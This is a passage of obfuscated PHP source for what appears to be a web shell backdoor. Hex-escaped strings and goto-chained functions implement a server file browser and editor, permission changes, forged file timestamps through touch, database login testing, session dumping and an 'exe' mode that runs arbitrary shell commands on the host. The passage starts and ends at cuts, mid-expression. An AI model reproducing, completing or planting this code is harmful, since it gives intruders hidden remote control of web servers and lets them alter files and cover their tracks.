63\164\156\x41\x45\x41\x61\113\x30\x68\x6a\x43\127\x76\x58\167\61\112\x6b\x71\x52\107\x72\x74\x34\x37\x67\x38\x63\113\x42\164\x5a\171\x37\123\x45\x7a\131\x7a\121\x61\61\145\x68\x4b\161\x5a\x55\x71\122\101\x52\150\x6a\x49\x47\160\103\114\x69\101\x66\x72\x2f\166\x5a\65\61\x4f\x70\x30\132\145\x43\x71\103\141\x77\142\x6f\130\156\x31\x76\x65\157\110\157\107\172\x6d\x41\70\x48\166\x75\132\x6c\102\111\x41\125\112\x59\x6c\160\x4a\123\x2b\x79\154\120\x41\155\161\x2f\121\x36\57\126\127\151\x4d\164\x56\x2f\x67\x58\x51\53\147\162\x4f\x51\105\162\160\x79\130\x45\143\111\x77\172\x44\61\x51\x71\141\103\x45\x46\x44\120\x47\166\147\171\115\164\60\111\x6b\x49\147\x57\71\166\x7a\155\53\x77\156\x53\x47\x74\x59\171\172\x37\147\160\127\165\170\x57\103\x42\116\125\x77\x67\150\x72\x73\x54\x62\166\x66\x6a\114\x78\141\57\70\x35\x48\x4a\x30\163\x51\153\101\130\x33\130\60\x58\x7a\x39\x54\163\71\155\143\122\106\110\x30\66\x51\x46\111\x73\124\170\65\x37\121\115\132\171\121\101\101\101\101\x42\112\x52\x55\x35\x45\x72\153\112\x67\147\147\x3d\75", "\160\154" => "\x69\x56\x42\x4f\122\x77\x30\x4b\107\147\157\x41\101\101\101\116\123\x55\150\x45\x55\147\x41\x41\x41\102\101\x41\101\101\x41\x51\x43\x41\x59\101\101\101\101\146\x38\x2f\71\x68\101\101\x41\x41\x41\130\x4e\123\122\x30\x49\101\162\163\x34\143\x36\x51\x41\x41\101\101\132\151\123\60\x64\x45\x41\x50\70\101\x2f\167\x44\57\x6f\114\62\x6e\153\x77\x41\101\x41\x41\x6c\x77\123\106\154\172\101\101\x41\116\x31\167\x41\x41\104\144\x63\102\121\151\x69\x62\145\101\101\101\101\163\x42\112\122\105\106\125\x4f\x4d\x75\x56\60\x38\164\162\130\x48\x55\125\x77\120\110\166\67\63\146\166\x7a\x4a\x31\110\x35\x33\110\154\112\x6d\120\x53\164\x45\62\164\144\x74\x45\155\130\x56\150\146\x7a\126\123\x71\153\116\x70\123\150\x43\x43\154\103\x79\153\x46\x6c\62\x36\x4b\107\57\163\130\144\x46\x74\x77\65\143\x4b\x6c\x2f\x68\154\x43\104\121\121\126\142\x53\152\126\x7a\x6c\x68\x6b\x5a\151\x43\124\x4b\151\132\x6a\x4a\x7a\x57\124\145\x64\x37\x66\x37\x39\170\x37\x75\x77\147\x30\x75\102\x44\163\x32\122\67\117\65\x7a\x7a\x67\161\x50\130\x31\x39\x59\x73\x69\143\x69\x65\x4f\64\172\117\x38\121\x47\151\x74\110\x37\161\165\x2b\67\154\x61\127\61\x74\x37\x4f\104\x38\x2f\166\x31\x69\x70\126\116\x42\141\x2f\66\x2f\x69\117\111\67\160\x64\x44\161\60\62\x2b\x32\141\141\64\x78\x5a\172\x4f\132\x79\104\x49\132\x44\x74\x4e\x5a\x6f\x72\x56\x47\101\x30\150\x71\x6c\106\x47\x71\57\110\x53\160\x4a\125\x45\157\x42\x6b\x43\x51\x4a\121\122\104\x51\x61\x44\x51\x57\x64\x52\x52\x46\x61\113\127\x65\112\70\125\x4b\x65\x37\60\x75\131\151\x33\x6a\x30\132\x41\57\x32\67\x38\x68\x4a\x74\x79\x48\154\121\x4b\154\143\102\167\x48\x78\x33\x47\x49\x6f\x67\x68\130\122\x45\101\160\164\x4e\131\x59\131\62\x67\x33\146\x36\x58\x37\x2b\110\x75\117\x6e\x37\x37\115\x58\x71\57\104\141\x48\x65\x44\x62\107\x47\x4b\111\113\150\x67\162\x57\x58\121\x33\x79\x48\154\x46\x54\151\125\x7a\x79\115\x69\165\116\132\x61\x6c\x4e\x61\105\153\x77\x6c\x37\x76\x53\66\106\x76\107\130\161\x37\x41\127\70\116\113\x52\x30\150\x6c\x4c\x2b\113\107\141\167\x79\132\x4e\x45\131\x53\131\x39\x76\162\172\71\x4b\x55\163\130\x72\61\102\144\x2f\x67\122\162\114\127\64\125\x52\131\x67\x78\144\x44\160\57\x45\x44\x35\71\150\x43\x51\112\157\x34\60\165\115\64\145\x50\x59\103\x64\71\154\x4e\131\x34\x54\157\161\x64\x78\x7a\x2b\x77\x33\x58\x70\101\71\131\x31\x58\x6d\x54\166\x78\116\160\66\x58\x50\x56\150\x68\120\x42\66\x78\x30\x62\150\120\x4f\x74\172\153\57\151\x38\x4e\x48\x74\63\x37\152\165\115\x6e\130\155\105\155\113\104\x43\x63\112\x49\123\104\160\x37\x78\x35\x34\x52\114\x62\x6d\67\57\x6a\126\66\141\131\x4f\x33\x61\113\x59\162\x47\111\x69\x4b\102\x46\102\x47\x4d\115\x67\71\64\117\130\x33\57\61\104\145\x39\145\x76\163\110\x31\x7a\x37\x34\x41\x74\x38\x7a\144\x6e\57\67\x6d\62\67\166\x33\113\102\71\65\156\121\143\x2f\57\64\x69\142\172\154\x49\65\x75\125\x79\x35\x56\115\112\170\156\120\x30\x62\151\x41\151\x6a\60\131\x42\127\x62\x5a\63\106\x64\x38\65\x7a\x36\x73\x77\x53\x6d\125\171\x47\163\x30\x75\130\62\x50\x36\x72\172\x65\x32\142\110\57\x48\x2b\x31\132\166\x6b\143\64\x66\x49\132\x4c\x4d\125\151\152\x36\145\65\x35\105\x6b\x79\121\106\x67\x4a\x6d\117\x69\x4f\x4f\x47\x44\104\66\53\124\x79\x2b\130\167\x50\x41\x2b\154\x46\x4b\116\53\x6c\x2f\120\x76\156\x57\x50\x32\70\104\105\113\x68\x53\112\x78\110\x42\120\x48\x4d\144\x62\x61\x66\167\116\160\114\x38\116\x62\171\170\70\152\x34\x79\143\131\131\x30\x69\x6e\60\x7a\x69\117\x67\x78\70\x63\x70\x56\x41\163\111\123\x4a\131\x61\67\110\127\x49\x69\x4a\105\125\x59\122\123\66\x67\102\x34\x65\x57\141\117\x58\x43\x35\104\105\147\x73\x69\x77\156\x41\64\x4a\111\65\152\x43\161\127\x58\x4f\110\63\165\107\x6d\x4b\106\167\127\x42\101\161\71\x58\151\x6e\x39\61\x64\132\155\144\x6e\115\127\x46\64\101\102\123\114\122\x63\x70\154\x48\170\110\67\146\110\171\x6c\x46\x4c\x37\x76\115\172\x30\x39\124\x52\x69\x47\x39\x50\164\71\164\x72\141\x32\x57\106\x6c\132\x6f\126\x61\162\64\x66\166\53\x50\165\103\66\142\x6d\x4e\61\144\146\130\x6b\x77\x73\111\x43\161\x56\124\x71\120\x78\x39\x49\x4b\x55\127\61\x57\x71\130\x62\x37\x52\111\105\101\146\x56\x36\110\x64\x64\x31\107\62\x34\x2b\156\67\x2f\x56\x62\x44\142\x76\x31\117\x76\x31\61\x31\x37\x6b\x6e\124\63\x50\x61\x35\x5a\113\160\x56\166\x50\x41\116\120\x4b\127\x76\x4f\157\x46\x54\x6f\x70\x41\x41\x41\101\x41\x45\154\x46\x54\153\123\165\121\155\103\x43", "\150\x74\141\143\x63\145\163\163" => "\x69\126\x42\x4f\x52\167\60\x4b\x47\147\157\101\x41\x41\x41\116\123\x55\x68\105\x55\147\x41\101\101\102\101\x41\101\x41\101\x51\x43\101\x59\x41\x41\101\101\x66\70\57\x39\150\101\101\101\101\101\130\x4e\123\122\x30\111\x41\162\x73\64\143\66\121\101\x41\x41\x41\132\151\123\x30\x64\x45\x41\120\x38\101\x2f\167\x44\x2f\x6f\x4c\x32\x6e\153\167\x41\101\101\101\x6c\167\123\106\154\172\x41\x41\x41\x4e\x31\167\x41\x41\x44\x64\x63\x42\x51\x69\x69\142\x65\101\101\x41\101\155\106\112\122\x45\x46\x55\117\115\x75\x56\60\70\71\x4c\x56\x46\105\x59\170\166\110\166\x76\130\117\165\x4d\172\x55\x36\71\x7a\x5a\x6a\154\160\127\x6c\53\123\x74\172\152\102\x54\114\x43\x41\157\154\152\123\x4c\x36\163\121\151\104\126\x69\x32\x43\116\150\x46\102\123\144\164\x77\106\123\x4b\x31\162\x4c\53\147\x6f\103\x42\x6f\141\121\x61\x47\x4a\102\127\124\x53\x4f\x4e\125\116\160\117\x54\x6c\132\x46\x54\121\126\x5a\x71\x30\x35\61\172\67\x6d\x6b\150\113\141\121\107\x76\166\x41\165\x7a\64\x66\156\x4f\146\101\x61\x73\126\151\163\124\x55\162\132\x37\x58\x6e\x65\x4e\x70\131\x78\x70\x6d\156\x47\150\x52\x41\130\152\x66\67\x2b\57\156\150\x52\x49\x46\x61\110\x4f\125\154\64\x52\122\115\x46\x34\126\62\111\x53\101\x68\164\147\x49\107\170\x36\107\x50\x50\70\70\x68\x6b\115\157\171\x4e\x6a\x51\x30\x4c\61\x33\x58\x72\70\147\157\x38\120\161\145\107\x2b\104\161\125\x78\150\x6b\x62\x6f\145\150\157\106\110\x39\x54\x4e\x55\x62\x59\167\x54\104\106\x6f\x6b\147\x6b\x45\151\x47\x5a\x54\x4e\x59\x4a\160\122\x52\x4f\x79\x55\110\115\x39\104\144\107\x48\x6e\172\x6b\123\x53\170\104\126\144\70\153\126\130\163\x53\x68\x41\x39\x58\131\x62\125\x30\x34\114\116\104\103\167\103\x6c\x46\x45\157\x70\x54\x43\153\154\120\x71\163\x45\x75\x2b\111\153\x35\x57\163\x71\163\130\x77\x68\x37\153\x79\x45\x75\130\154\130\115\x6e\106\160\147\106\x7a\130\142\x64\x78\125\x47\x71\x33\61\x67\x70\126\123\64\x6d\x74\x76\x62\67\x39\x63\127\154\161\113\x59\x59\x63\x77\x4e\x7a\x67\131\x37\x36\141\x78\170\150\x57\104\155\x49\x78\x4d\x53\x7a\141\53\x2b\x45\x6c\157\x2b\103\130\x61\x46\160\151\x56\170\141\x44\156\x2f\171\127\144\124\x6d\115\x71\160\x57\x5a\106\116\x49\107\x64\x46\x55\x54\120\154\130\x47\x67\x2b\150\x4f\x48\120\x44\x39\146\172\110\x56\x30\x2f\132\x70\150\70\x4a\x48\x46\x37\171\x73\71\x35\110\x70\67\x38\112\x51\67\x6c\x32\103\165\167\x6e\x77\163\x73\106\161\x32\x73\x36\x71\x7a\x6d\145\141\141\125\125\x36\162\x48\x34\x53\x4e\172\126\167\172\x76\152\107\x51\x58\105\165\62\70\172\107\x71\67\x79\110\141\x79\70\61\126\53\x41\x66\x51\141\107\x31\147\x74\165\167\x67\143\x50\125\x49\x46\x56\x58\x76\x4f\x61\131\x38\x48\x4b\x4f\107\x36\171\x70\114\x62\x36\113\x65\x79\122\165\x76\125\x42\x2f\107\60\132\66\x33\106\104\x43\67\x76\163\x59\x6f\167\146\120\x4e\x62\110\x48\x65\60\x69\162\x7a\x79\x5a\x6e\154\63\x4d\161\x7a\145\120\x4f\60\103\117\120\145\115\x2f\x44\x55\57\x77\x47\x30\170\x6a\x79\53\154\x2b\x43\x70\113\120\130\x2b\x55\x58\142\x4c\115\112\x4e\145\154\x71\x47\160\x44\x46\x2f\151\x55\x32\x52\156\163\x76\70\x48\164\x4e\132\157\x44\70\123\132\126\153\x70\x4f\x46\116\x4e\x6d\166\123\x5a\161\x4f\120\x52\164\x2b\x73\x6e\71\x78\x67\151\x66\163\x79\x35\123\123\163\x52\x66\131\113\x6e\122\124\150\104\162\x77\x6a\x37\113\103\x35\53\172\x2f\67\x75\146\x66\162\165\121\162\104\x32\x44\163\172\111\167\x44\x2b\122\171\x4f\131\x51\x51\x53\171\112\161\144\x54\67\102\163\x30\x30\x30\165\112\x4c\123\66\146\x55\x4d\x78\62\x4c\x6f\63\x47\167\x43\125\167\151\122\x6a\x4d\x66\152\x75\x4b\66\x37\x64\102\127\164\x30\130\64\x66\x74\x68\62\147\x72\114\x69\131\162\142\127\x31\104\103\143\123\103\103\107\123\111\x68\x67\x4d\x64\161\122\123\161\x65\65\x45\111\x6c\x47\65\156\x48\x50\x32\53\x2f\x30\160\x32\x37\131\x37\57\x67\x44\x50\172\x59\152\x30\x48\x34\157\x35\x46\121\101\x41\x41\x41\102\x4a\x52\125\65\105\x72\x6b\x4a\x67\x67\x67\x3d\75"); goto Ok7QB; Df8cq: function z6s($f) { global $nix, $sh_exec; $m = ''; if (z7r("\x6d\x64\x35\x5f\x66\x69\154\145") && @md5_file($f) !== false) { $m = @md5_file($f); } elseif ($nix && $sh_exec) { $m = z9t("\155\x64\x35\163\x75\155\x20\42" . $f . "\x22", 0); if (@strstr($m, "\40")) { $m = @substr($m, 0, @strpos($m, "\x20")); } } return @strlen($m) == 32 ? $m : false; } goto HPvQA; AjxvQ: function z3d($k) { $c = z2l($k); if ($c == 0) { return array(); } if ($c > 0) { z2i($k); } $n = $c > 1 ? $c - 2 : ($c > 0 ? $c - 1 : 0); return $_SESSION[$k][$n]; } goto YVlUH; TQrFx: function z7n($f) { if (!z0n($f)) { return "\60"; } elseif (!z0v($f)) { return "\x31"; } else { return "\x32"; } } goto jt1nc; ZgLCU: @session_start(); goto CIS6G; lvMQe: function z7a($i, $c = '', $id = '') { return z7y($i, "\x62\x6f\x74\x74\x6f\155", $c, $id); } goto yhHlJ; r_d5C: if (get_magic_quotes_gpc()) { if (@isset($_FILES) && @count($_FILES) > 0) { z3y($_FILES); } z4h($GLOBALS); } goto ZgLCU; hBkAD: $bpostgres = z7r("\160\147\x5f\143\x6f\x6e\x6e\145\143\164"); goto e3R6J; J2IJ5: function z4u($host, $user, $pass, $port, $dbtype, $base = '') { $sql = new my_sql(); $sql->db = $dbtype; $sql->host = $host; $sql->port = $port; $sql->user = $user; $sql->pass = $pass; if ($base != '') { $sql->base = $base; } if ($sql->connect()) { return "\x76\141\154\x69\144"; } else { return "\x69\156\x76\141\x6c\151\x64"; } } goto PC7H5; ychWN: function z1q($file, $global = 0, $dir = 0) { $mode = @fileperms($file); if ($dir) { $arr = $global ? array() : array("\x61\143\164", "\x64", "\143\164\141\162\x67\x65\x74" => $file, "\143\x68\x6d\157\144\137\x73\165\142\155\151\164" => "\x31"); } else { $arr = $global ? array() : array("\141\x63\x74", "\144", "\146", "\146\x74" => "\146\x75\x6e\x63\164\151\157\x6e\163", "\143\x74\141\x72\x67\145\x74" => $file, "\143\x68\x6d\157\144\137\163\165\x62\155\x69\x74" => "\x31"); } if ($mode) { $perms = z9r($mode, 1); $o = @decoct($mode); if (@strlen($o) > 4) { $o = @substr($o, -4); } echo z2b(($dir ? z9s("\x31\62\63") : z9s("\x39\x33")) . z9c() . z4p($file)); echo z10e(z7i(z9j(z5c($arr, z10e(z5n() . z7i(z5t(z9s("\71\64", '', 1)) . z9j(z5y("\143\150\155\157\144\137\x6f\x72", z9s("\71\67"), "\x63\x68\x6d\x6f\x64\137\157\133\x72\135", "\x31", $perms["\x6f"]["\162"] ? 1 : '') . z9c(5) . z5y("\143\150\x6d\157\144\x5f\x6f\x77", z9s("\x39\70"), "\143\150\155\157\x64\x5f\x6f\x5b\x77\135", "\x31", $perms["\157"]["\167"] ? 1 : '') . z9c(5) . z5y("\x63\150\x6d\x6f\x64\x5f\x6f\170", z9s("\71\71"), "\x63\150\x6d\157\144\x5f\x6f\133\x78\x5d", "\61", $perms["\157"]["\170"] ? 1 : '')) . z9j(z9c())) . z7i(z5t(z9s("\71\x35", '', 1)) . z9j(z5y("\x63\150\x6d\x6f\x64\x5f\x67\x72", z9s("\x39\67"), "\143\x68\155\157\144\137\x67\x5b\162\x5d", "\61", $perms["\147"]["\162"] ? 1 : '') . z9c(5) . z5y("\x63\150\x6d\x6f\144\137\147\x77", z9s("\x39\70"), "\x63\x68\x6d\157\x64\137\x67\133\x77\x5d", "\x31", $perms["\147"]["\x77"] ? 1 : '') . z9c(5) . z5y("\143\x68\x6d\157\x64\x5f\x67\170", z9s("\x39\x39"), "\x63\x68\155\x6f\x64\137\147\133\170\135", "\61", $perms["\147"]["\x78"] ? 1 : '')) . z9j(z9c(5) . z8v("\x43\150\155\157\144", "\x37"))) . z7i(z5t(z9s("\71\x36", '', 1)) . z9j(z5y("\143\150\x6d\157\x64\x5f\167\x72", z9s("\x39\x37"), "\143\x68\155\157\x64\x5f\x77\x5b\162\135", "\x31", $perms["\167"]["\x72"] ? 1 : '') . z9c(5) . z5y("\x63\150\155\x6f\144\137\x77\167", z9s("\71\70"), "\143\150\x6d\x6f\144\x5f\x77\133\x77\x5d", "\61", $perms["\x77"]["\x77"] ? 1 : '') . z9c(5) . z5y("\143\150\155\157\x64\x5f\167\170", z9s("\x39\71"), "\143\x68\155\x6f\144\x5f\x77\x5b\170\135", "\61", $perms["\167"]["\170"] ? 1 : '')) . z9j(z9c())) . z5n(), "\62"))) . z9j(z5c(array("\x61\143\x74", "\x64", "\146", "\x66\164" => "\146\165\156\143\164\x69\157\x6e\x73", "\x63\x74\141\162\x67\145\x74" => $file, "\x63\150\x6d\157\x64\137\163\x75\142\x6d\151\164" => "\x31"), z10e(z7i(z5t(z9s("\61\x30\61")) . z9j(z5u("\x63\x68\155\157\144\137\x76\x61\154", $o, "\x31") . z8v(z9s("\x31\x30\x30"), "\67"))), "\62"))))); } } goto R1sKb; Zzxz4: if ($act == "\146") { if (!@isset($f)) { $f = ''; } if (!@isset($ft)) { $ft = ''; } if (@isset($readfile)) { $d = z3p($readfile); $f = z2h($readfile); } elseif (@isset($writefile)) { $d = z3p($writefile); $f = z2h($writefile); } elseif ($f != '') { $f0 = @substr($f, 0, 1); $f1 = @substr($f, 1, 1); if ($f0 == "\57" || $f1 == "\72") { $d = z3p($f); $f = z2h($f); } } $fmsg = ''; if (!z4e($d . $f) && z4e($f)) { $d = z3p($f); $f = z2h($f); } elseif (z1a($f) == z1a($d)) { $f = ''; $fmsg = z9s("\64\67\x32"); } elseif (z3p($f) == z1a($d)) { $f = z2h($f); } z2z(); if (!z4j($d . $f) && z0n($d . $f) || !z4q($d . $f) && z0v($d) && @isset($ft) && $ft == "\x6e\145\x77") { $ext = @strtolower(z2h($f, "\x2e")); $rft = z4x($f); if (@preg_match("\57\163\x65\x73\x73\137\x28\56\x2a\51\x2f", $f)) { $rft = "\x73\x65\163\x73"; } if (!@isset($ft) || @empty($ft)) { $ft = $rft; } if ($ft == "\x6e\x65\167") { z9y($d . $f, ''); $ft = "\145\144\x69\164"; } if ($ft == "\162\143\x6f\167\156") { $rcmsg = "\40" . (z2q($d . $f) ? z5i(z9s("\62\71\60")) : z8z(z9s("\x32\x39\61"))); $ft = "\143\157\144\x65"; } if (@empty($ft)) { $ft = "\x66\x75\156\143\x74\x69\157\156\x73"; } echo z2b(z9s("\67\x38") . z9c() . ($use_images ? "\74\151\x6d\147\x20\x73\162\143\x3d\42\x3f\x61\143\x74\x3d\x69\46\141\155\160\73\151\x6d\147\75" . $ext . "\42\76\x20" : '') . z4p($d . $f . "\40\x28" . z7c(@filesize($d . $f)) . "\51") . (@isset($rcmsg) ? $rcmsg : '')); z2j(); if (($ft != "\146\165\x6e\143\164\x69\157\x6e\163" || $ft == "\146\165\x6e\143\164\151\157\x6e\x73" && @isset($submit_encode)) && $ft != "\151\156\151") { $r = z9p($d . $f); } switch ($ft) { case "\x66\165\156\143\164\x69\157\x6e\163": echo z2b(z9s("\71\60")); echo z6d(); $encode_functions = z0x(); echo z9m("\62") . z9l() . z9b("\144") . z9b("\x61\143\x74", "\146") . z9b("\x66") . z9b("\x66\x74", "\x66\165\156\x63\164\151\x6f\x6e\x73") . z9b("\163\x75\142\155\151\x74\x5f\145\x6e\143\157\x64\x65", "\x31") . z7i(z5t(z9s("\71\61")) . z9j(z4a("\145\x6e\x63\x6f\x64\x65\x5f\x73\x65\154\x65\x63\164\145\144", $encode_functions, "\x30", 1, "\71") . z8v(z9s("\x39\62"), "\x37"))) . z9z(); $encoder_output = ''; if (@isset($submit_encode) && $submit_encode) { $encoder_output = $encode_selected($r); echo z9f(z5t(z9s("\x31\x30\62")) . z9j(z5w('', "\x31") . @htmlspecialchars($encoder_output) . z5q())); } echo z10w(); echo z6d(); z1q($d . $f); if (z7r("\x74\x6f\165\x63\150")) { z2v(); echo z2b(z9s("\61\x30\63")); echo z10e(z5n() . (@isset($tmsg) && !@empty($tmsg) ? z7i(z5t(z9c()) . z9j($tmsg)) : '') . z7i(z5c(array("\141\x63\164", "\x64", "\x66", "\x66\164" => "\146\165\x6e\x63\164\151\x6f\156\163", "\163\164\61" => "\61"), z5t(z9s("\61\60\x34")) . z9j(z5u("\x63\157\x70\171\137\x66\x72\x6f\x6d", '', "\x39") . z8v(z9s("\61\61\62"), "\67")))) . z7i(z5c(array("\141\143\164", "\144", "\x66", "\146\x74" => "\146\x75\156\143\x74\x69\157\x6e\163", "\163\x74\x32" => "\61"), z5t(z9s("\x31\60\x35")) . z9j(z4a("\x74\x6d\157\156\x74\150", $tmonth_arr, "\x34", 1) . "\55" . z4a("\164\144\141\x79", $tday_arr, "\x34", 1) . "\x2d" . z4a("\x74\171\145\x61\x72", $tyear_arr, "\x34", 1) . z9c(12) . z4a("\x74\150\x6f\165\162", $thour_arr, "\x31", 1) . "\72" . z4a("\164\x6d\151\156", $tmin_arr, "\x31", 1) . "\72" . z4a("\x74\163\x65\x63", $tsec_arr, "\x31", 1) . z8v(z9s("\x31\61\62"), "\x37")))) . z5n(), "\x32"); } break; case "\145\x64\x69\x74": $msg = ''; if (@isset($save) && $save) { $msg = z9y($d . $f, $txtedit) ? z9s("\x32\x34\x33") : z9s("\x34\65\x30"); $r = z9p($d . $f); } echo z5c(array("\x61\143\164" => "\x66", "\x64", "\x66", "\146\x74" => "\x65\144\x69\164", "\163\141\166\145" => "\x31"), z10e(z9f(z6x(z5w("\x74\170\164\x65\144\x69\164", "\62") . @htmlspecialchars($r) . z5q() . z9x() . z5x("\154\x65\146\164", "\x33") . z8e(z9s("\x31\x31\65")) . "\x3c\151\156\x70\165\x74\x20\164\x79\x70\145\x3d\x22\164\145\x78\x74\42\x20\151\144\75\42\x72\x65\160\154\x61\x63\145\137\141\x22\x20\x63\x6c\141\163\163\75\42" . z4m("\65", "\x34") . "\x22\x3e" . z9c(5) . z8e(z9s("\x31\61\x36")) . "\x3c\151\156\160\x75\164\x20\x74\171\x70\x65\x3d\x22\164\x65\x78\x74\x22\x20\151\144\x3d\x22\162\145\160\x6c\141\143\145\137\142\42\x20\x63\154\x61\x73\x73\x3d\42" . z4m("\x35", "\x34") . "\x22\76" . z8m(z9s("\x31\x31\x37"), "\x66\x6e\143\137\162\x65\x70\x6c\141\143\145\50\47\x74\x78\x74\145\144\x69\164\x27\x2c\47\162\x65\x70\x6c\x61\x63\145\137\x61\47\54\47\162\x65\x70\154\141\143\x65\137\x62\47\51\x3b", "\67") . "\74\151\156\x70\x75\x74\x20\x74\x79\x70\145\75\42\162\x65\x73\145\x74\42\x20\166\141\154\165\145\x3d\42" . z9s("\x31\x31\x38") . "\x22\x20\x63\x6c\141\x73\163\x3d\42" . z4m("\67", "\x35") . "\x22\76" . z8v(z9s("\x31\61\71"), "\x37") . z9c() . z8e($msg) . z5j())), "\x32")); echo z6d(); break; case "\164\x65\x78\x74": echo z10e(z9f(z6x("\x3c\x70\x72\x65\x3e" . @htmlspecialchars($r) . "\74\x2f\x70\x72\145\x3e")), "\x32"); break; case "\167\145\142": $url = z8o(); $url_a = @parse_url($url); if (@isset($url_a["\x68\157\163\x74"])) { $host = $url_a["\x68\x6f\x73\x74"]; if (($wwwdir = z3k()) !== false) { if (@strstr($d . $f, $wwwdir) !== false) { $link = "\150\164\x74\x70\x3a\57\x2f" . $host . "\57" . @substr($d . $f, @strlen($wwwdir)); echo z10e(z9f(z6x("\x3c\151\x66\x72\x61\155\145\x20\x62\157\x72\144\145\x72\75\x22\x30\x22\x20\x63\x6c\141\163\163\x3d\x22\151\x66\162\141\x6d\x65\x22\x20\163\162\x63\75\42" . $link . "\x22\x3e" . z9s("\64\x37\61") . "\74\x2f\151\146\162\x61\x6d\x65\x3e")) . z5n(), "\62"); } } } break; case "\x68\x74\155\154": if (@isset($white) && $white) { @ob_clean(); echo $r; @die; } else { echo z10e(z9f(z6x("\74\151\x66\162\x61\x6d\x65\x20\x62\x6f\x72\x64\145\162\75\x22\60\42\40\x63\154\141\163\x73\x3d\x22\151\146\x72\141\x6d\x65\x22\40\x73\162\143\x3d\42\x3f\x61\143\x74\x3d\146\46\141\x6d\160\73\146\x3d" . @urlencode($f) . "\46\x61\155\160\73\x64\75" . @urlencode($d) . "\x26\x77\150\x69\164\145\75\61\46\146\x74\75\150\x74\155\x6c\x22\x3e" . z9s("\x34\x37\61") . "\x3c\x2f\x69\x66\162\141\x6d\x65\76")) . z5n(), "\62"); } break; case "\150\164\x6d\x6c\163": if (@isset($white) && $white) { $r = @preg_replace("\x23\x5c\x62\50\x6f\156\50\77\x3c\x21\x5c\x2e\x6f\x6e\x29\133\141\55\172\x5d\173\x32\54\62\x30\175\51\x5c\x73\x2a\75\134\x73\x2a\x28\x5b\134\47\42\135\x29\77\x28\50\x3f\x28\x32\51\x28\x3f\x28\77\x3c\75\42\51\133\136\42\x5d\173\61\x2c\x31\60\60\60\x7d\174\133\x5e\134\47\x5d\x7b\x31\x2c\x31\x30\x30\60\175\x29\x7c\133\x5e\134\163\42\x5c\47\76\x5d\x7b\61\54\x31\x30\x30\60\175\51\51\x28\x3f\x28\x32\x29\x5c\x32\174\51\43\x69", '', $r); $r = @preg_replace("\x23\x28\74\163\x63\162\x69\160\x74\x5b\136\x3e\x5d\52\x3e\56\52\x3f\x3c\x2f\x73\x63\x72\x69\160\164\x3e\174\x3c\133\x2f\x5d\52\x6e\157\x73\x63\x72\x69\160\x74\76\174\74\155\x65\164\141\134\x73\x28\x2e\x2a\x3f\x29\x3e\x29\43\x69\x73", '', $r); $r = @preg_replace("\43\x5c\x62\x28\x68\162\145\x66\x28\x3f\74\x21\x5c\x2e\51\51\x5c\x73\x2a\x3d\134\163\x2a\50\x5b\134\x27\x22\x5d\51\x3f\x6a\x61\166\x61\163\x63\x72\x69\x70\164\72\x23\x69", "\x68\x72\145\x66\x3d\134\x32\x23\152\x61\166\x61\x73\x63\162\x69\160\x74\x3a", $r); @ob_clean(); echo $r; @die; } else { echo z10e(z9f(z6x("\74\151\146\162\x61\x6d\x65\40\142\157\162\x64\x65\162\75\42\x30\42\40\x63\x6c\x61\163\x73\75\42\151\146\162\x61\x6d\145\42\40\x73\x72\x63\x3d\x22\x3f\x61\x63\164\75\146\x26\141\x6d\160\x3b\146\x3d" . @urlencode($f) . "\x26\x61\x6d\160\x3b\144\x3d" . @urlencode($d) . "\x26\167\x68\151\164\145\x3d\61\x26\146\164\x3d\x68\x74\x6d\x6c\x73\x22\x3e" . z9s("\x34\x37\x31") . "\74\57\151\146\162\141\x6d\x65\x3e")) . z5n(), "\x32"); } break; case "\x63\x6f\x64\145": echo z6z('', "\x32") . z7p() . z6w(); z1x($r, $ext); echo z7g() . z7u() . z10w(); break; case "\x65\170\x65": if (!@isset($ecmd)) { $ext = z2h($f, "\x2e"); $ecmd = $d . $f; foreach ($execaliases as $ek => $ev) { if (@in_array(@strtolower($ext), $ev)) { $ecmd = @str_replace("\x25\x66\45", $ecmd, $ek); break; } } } echo z5c(array("\141\x63\164" => "\x66", "\x66\x74" => "\x65\170\145", "\x64", "\146", "\x65\x78\145\143" => "\x31"), z10e(z5n() . z7i(z6x(z8e(z9s("\x31\x32\60")) . z5u("\x65\x63\x6d\144", '', "\71") . z8v(z9s("\71\x39"), "\67"))) . z5n(), "\x32")); if (@isset($exec) && $exec && !@empty($ecmd)) { echo z9m("\x32") . z6g() . z6w() . z5w('', "\61"); $res = z9t($ecmd); echo $res; echo z5q() . z7g() . z7u() . z5n() . z10w(); } break; case "\x73\x65\x73\x73": echo z6z('', "\62") . z7p() . z6w() . "\74\x70\x72\x65\x3e"; $e = @explode("\174", $r); echo $e[0] . z9x(); @var_dump(@unserialize($e[1])); echo "\x3c\57\160\162\145\x3e"; echo "\74\57\x70\162\145\x3e" . z7g() . z7u() . z10w(); break; case "\x69\x6e\151": echo z6z('', "\x32") . z7p() . z6w() . "\x3c\160\x72\145\x3e"; @var_dump(@parse_ini_file($d . $f, true)); echo "\74\57\160\x72\145\76" . z7g() . z7u() . z10w(); break; case "\x73\144\x62": echo z6z('', "\62") . z7p() . z6w() . "\x3c\160\x72\x65\76"; @var_dump(@unserialize(@base64_decode($r))); echo "\x3c\57\160\162\145\x3e" . z7g() . z7u() . z10w(); break; case "\151\155\x67": if (!@isset($is)) { $is = 50; } $inf = @getimagesize($d . $f); if (@isset($inf[0]) && @isset($inf[1]) && @isset($inf["\155\x69\x6d\145"])) { $w = $inf[0] / 100 * $is; $h = $inf[1] / 100 * $is; $mime = $inf["\x6d\x69\155\145"]; } else { $w = $h = $t = ''; if (@preg_match("\x2f\50\152\x70\147\x7c\x6a\160\145\x67\x7c\147\x69\x66\x7c\160\156\x67\x29\57\151", $r, $m)) { $t = $m[1] === "\x6a\x70\x65\147" ? "\x6a\160\x67" : $m[1]; } $mime = "\151\x6d\141\x67\x65\57" . @strtolower($t); } if (!@isset($white) || !$white) { echo z5x("\x63\145\x6e\x74\145\162") . z9x(); if ($w != '') { foreach (array("\x32\x30", "\x35\x30", "\x31\60\x30", "\61\65\x30", "\x32\60\60") as $v) { echo z5c(array("\x61\x63\164" => "\146", "\x64", "\x66", "\x66\x74" => "\x69\x6d\147", "\151\x73" => $v), z8v($v . "\45", $is == $v ? "\61\67" : "\61\66")); } } echo z9x(2) . "\x3c\151\155\147\40\x61\x6c\164\75\42\x22\x20\x73\162\143\75\x22\77\x61\x63\x74\x3d\x66\x26\x61\x6d\160\x3b\x66\75" . @urlencode($f) . "\x26\x61\x6d\x70\73\146\164\75\x69\x6d\x67\x26\141\155\x70\73\x77\150\x69\x74\x65\x3d\61\x26\x61\155\x70\73\144\x3d" . @urlencode($d) . "\x22" . ($w != '' ? 